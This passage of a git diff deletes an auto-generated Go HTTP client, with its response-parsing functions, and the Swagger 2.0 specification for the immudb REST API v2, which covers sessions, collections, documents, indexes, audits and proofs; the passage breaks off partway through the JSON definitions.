c.DeleteDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDeleteDocumentsResponse(rsp) -} - -func (c *ClientWithResponses) DeleteDocumentsWithResponse(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { - rsp, err := c.DeleteDocuments(ctx, collectionName, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDeleteDocumentsResponse(rsp) -} - -// ReplaceDocumentsWithBodyWithResponse request with arbitrary body returning *ReplaceDocumentsResponse -func (c *ClientWithResponses) ReplaceDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { - rsp, err := c.ReplaceDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseReplaceDocumentsResponse(rsp) -} - -func (c *ClientWithResponses) ReplaceDocumentsWithResponse(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { - rsp, err := c.ReplaceDocuments(ctx, collectionName, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseReplaceDocumentsResponse(rsp) -} - -// SearchDocumentsWithBodyWithResponse request with arbitrary body returning *SearchDocumentsResponse -func (c *ClientWithResponses) SearchDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { - rsp, err := c.SearchDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseSearchDocumentsResponse(rsp) -} - -func (c *ClientWithResponses) SearchDocumentsWithResponse(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { - rsp, err := c.SearchDocuments(ctx, collectionName, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseSearchDocumentsResponse(rsp) -} - -// DeleteIndexWithResponse request returning *DeleteIndexResponse -func (c *ClientWithResponses) DeleteIndexWithResponse(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) { - rsp, err := c.DeleteIndex(ctx, collectionName, params, reqEditors...) - if err != nil { - return nil, err - } - return ParseDeleteIndexResponse(rsp) -} - -// CreateIndexWithBodyWithResponse request with arbitrary body returning *CreateIndexResponse -func (c *ClientWithResponses) CreateIndexWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { - rsp, err := c.CreateIndexWithBody(ctx, collectionName, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCreateIndexResponse(rsp) -} - -func (c *ClientWithResponses) CreateIndexWithResponse(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { - rsp, err := c.CreateIndex(ctx, collectionName, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCreateIndexResponse(rsp) -} - -// DeleteCollectionWithResponse request returning *DeleteCollectionResponse -func (c *ClientWithResponses) DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) { - rsp, err := c.DeleteCollection(ctx, name, reqEditors...) - if err != nil { - return nil, err - } - return ParseDeleteCollectionResponse(rsp) -} - -// GetCollectionWithResponse request returning *GetCollectionResponse -func (c *ClientWithResponses) GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) { - rsp, err := c.GetCollection(ctx, name, reqEditors...) - if err != nil { - return nil, err - } - return ParseGetCollectionResponse(rsp) -} - -// CreateCollectionWithBodyWithResponse request with arbitrary body returning *CreateCollectionResponse -func (c *ClientWithResponses) CreateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { - rsp, err := c.CreateCollectionWithBody(ctx, name, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCreateCollectionResponse(rsp) -} - -func (c *ClientWithResponses) CreateCollectionWithResponse(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { - rsp, err := c.CreateCollection(ctx, name, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCreateCollectionResponse(rsp) -} - -// UpdateCollectionWithBodyWithResponse request with arbitrary body returning *UpdateCollectionResponse -func (c *ClientWithResponses) UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { - rsp, err := c.UpdateCollectionWithBody(ctx, name, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseUpdateCollectionResponse(rsp) -} - -func (c *ClientWithResponses) UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { - rsp, err := c.UpdateCollection(ctx, name, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseUpdateCollectionResponse(rsp) -} - -// GetCollectionsWithResponse request returning *GetCollectionsResponse -func (c *ClientWithResponses) GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) { - rsp, err := c.GetCollections(ctx, reqEditors...) - if err != nil { - return nil, err - } - return ParseGetCollectionsResponse(rsp) -} - -// ParseCloseSessionResponse parses an HTTP response from a CloseSessionWithResponse call -func ParseCloseSessionResponse(rsp *http.Response) (*CloseSessionResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &CloseSessionResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCloseSessionResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseKeepAliveResponse parses an HTTP response from a KeepAliveWithResponse call -func ParseKeepAliveResponse(rsp *http.Response) (*KeepAliveResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &KeepAliveResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelKeepAliveResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseOpenSessionResponse parses an HTTP response from a OpenSessionWithResponse call -func ParseOpenSessionResponse(rsp *http.Response) (*OpenSessionResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &OpenSessionResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ImmudbmodelOpenSessionResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseSearchDocumentsWithResponse parses an HTTP response from a SearchDocumentsWithWithResponse call -func ParseSearchDocumentsWithResponse(rsp *http.Response) (*SearchDocumentsWithResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &SearchDocumentsWithResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelSearchDocumentsResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseAuditDocumentResponse parses an HTTP response from a AuditDocumentWithResponse call -func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &AuditDocumentResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelAuditDocumentResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseProofDocumentResponse parses an HTTP response from a ProofDocumentWithResponse call -func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &ProofDocumentResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelProofDocumentResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseInsertDocumentsResponse parses an HTTP response from a InsertDocumentsWithResponse call -func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &InsertDocumentsResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelInsertDocumentsResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDeleteDocumentsResponse parses an HTTP response from a DeleteDocumentsWithResponse call -func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DeleteDocumentsResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteDocumentsResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseReplaceDocumentsResponse parses an HTTP response from a ReplaceDocumentsWithResponse call -func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &ReplaceDocumentsResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelReplaceDocumentsResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call -func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &SearchDocumentsResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelSearchDocumentsResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDeleteIndexResponse parses an HTTP response from a DeleteIndexWithResponse call -func ParseDeleteIndexResponse(rsp *http.Response) (*DeleteIndexResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DeleteIndexResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteIndexResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseCreateIndexResponse parses an HTTP response from a CreateIndexWithResponse call -func ParseCreateIndexResponse(rsp *http.Response) (*CreateIndexResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &CreateIndexResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCreateIndexResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDeleteCollectionResponse parses an HTTP response from a DeleteCollectionWithResponse call -func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DeleteCollectionResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteCollectionResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseGetCollectionResponse parses an HTTP response from a GetCollectionWithResponse call -func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &GetCollectionResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelGetCollectionResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseCreateCollectionResponse parses an HTTP response from a CreateCollectionWithResponse call -func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &CreateCollectionResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCreateCollectionResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call -func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &UpdateCollectionResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelUpdateCollectionResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseGetCollectionsResponse parses an HTTP response from a GetCollectionsWithResponse call -func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &GetCollectionsResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelGetCollectionsResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json deleted file mode 100644 index f6a4f62743..0000000000 --- a/pkg/api/openapi/apidocs.swagger.json +++ /dev/null @@ -1,1534 +0,0 @@ -{ - "swagger": "2.0", - "info": { - "title": "immudb REST API v2", - "description": "Authorization API", - "version": "version not set" - }, - "basePath": "/api/v2", - "consumes": [ - "application/json" - ], - "produces": [ - "application/json" - ], - "paths": { - "/authorization/session/close": { - "post": { - "operationId": "CloseSession", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelCloseSessionResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelCloseSessionRequest" - } - } - ], - "tags": [ - "authorization" - ] - } - }, - "/authorization/session/keepalive": { - "post": { - "operationId": "KeepAlive", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelKeepAliveResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelKeepAliveRequest" - } - } - ], - "tags": [ - "authorization" - ] - } - }, - "/authorization/session/open": { - "post": { - "operationId": "OpenSession", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/immudbmodelOpenSessionResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/immudbmodelOpenSessionRequest" - } - } - ], - "tags": [ - "authorization" - ], - "security": [] - } - }, - "/collection/documents/search/{searchId}": { - "post": { - "operationId": "SearchDocumentsWith", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelSearchDocumentsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "searchId", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelSearchDocumentsRequestWith" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{collectionName}/document/{documentId}/audit": { - "post": { - "operationId": "AuditDocument", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelAuditDocumentResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "documentId", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelAuditDocumentRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{collectionName}/document/{documentId}/proof": { - "post": { - "operationId": "ProofDocument", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelProofDocumentResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "documentId", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelProofDocumentRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{collectionName}/documents": { - "post": { - "operationId": "InsertDocuments", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelInsertDocumentsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelInsertDocumentsRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{collectionName}/index": { - "delete": { - "operationId": "DeleteIndex", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelDeleteIndexResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "fields", - "in": "query", - "required": false, - "type": "array", - "items": { - "type": "string" - }, - "collectionFormat": "multi" - } - ], - "tags": [ - "documents" - ] - }, - "post": { - "operationId": "CreateIndex", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelCreateIndexResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelCreateIndexRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{name}": { - "get": { - "operationId": "GetCollection", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelGetCollectionResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "name", - "in": "path", - "required": true, - "type": "string" - } - ], - "tags": [ - "documents" - ] - }, - "delete": { - "operationId": "DeleteCollection", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelDeleteCollectionResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "name", - "in": "path", - "required": true, - "type": "string" - } - ], - "tags": [ - "documents" - ] - }, - "post": { - "operationId": "CreateCollection", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelCreateCollectionResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "name", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelCreateCollectionRequest" - } - } - ], - "tags": [ - "documents" - ] - }, - "put": { - "operationId": "UpdateCollection", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelUpdateCollectionResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "name", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelUpdateCollectionRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{collectionName}/documents/delete": { - "post": { - "operationId": "DeleteDocuments", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelDeleteDocumentsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelDeleteDocumentsRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{collectionName}/documents/replace": { - "put": { - "operationId": "ReplaceDocuments", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelReplaceDocumentsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelReplaceDocumentsRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collection/{collectionName}/documents/search": { - "post": { - "operationId": "SearchDocuments", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelSearchDocumentsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelSearchDocumentsRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/collections": { - "get": { - "operationId": "GetCollections", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelGetCollectionsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "tags": [ - "documents" - ] - } - } - }, - "definitions": { - "immudbmodelOpenSessionRequest": { - "type": "object", - "properties": { - "username": { - "type": "string" - }, - "password": { - "type": "string" - }, - "database": { - "type": "string" - } - } - }, - "immudbmodelOpenSessionResponse": { - "type": "object", - "properties": { - "sessionID": { - "type": "string" - }, - "serverUUID": { - "type": "string" - }, - "expirationTimestamp": { - "type": "integer", - "format": "int32" - }, - "inactivityTimestamp": { - "type": "integer", - "format": "int32" - } - } - }, - "modelAuditDocumentRequest": { - "type": "object", - "properties": { - "desc": { - "type": "boolean" - }, - "page": { - "type": "integer", - "format": "int64" - }, - "pageSize": { - "type": "integer", - "format": "int64" - } - }, - "required": [ - "desc", - "page", - "pageSize" - ] - }, - "modelAuditDocumentResponse": { - "type": "object", - "properties": { - "revisions": { - "type": "array", - "items": { - "$ref": "#/definitions/modelDocumentAtRevision" - } - } - }, - "required": [ - "revisions" - ] - }, - "modelCloseSessionRequest": { - "type": "object" - }, - "modelCloseSessionResponse": { - "type": "object" - }, - "modelCollection": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "documentIdFieldName": { - "type": "string" - }, - "fields": { - "type": "array", - "items": { - "$ref": "#/definitions/modelField" - } - }, - "indexes": { - "type": "array", - "items": { - "$ref": "#/definitions/modelIndex" - } - } - }, - "required": [ - "name", - "documentIdFieldName", - "fields", - "indexes" - ] - }, - "modelComparisonOperator": { - "type": "string", - "enum": [ - "EQ", - "NE", - "LT", - "LE", - "GT", - "GE", - "LIKE", - "NOT_LIKE" - ], - "default": "EQ" - }, - "modelCreateCollectionRequest": { - "type": 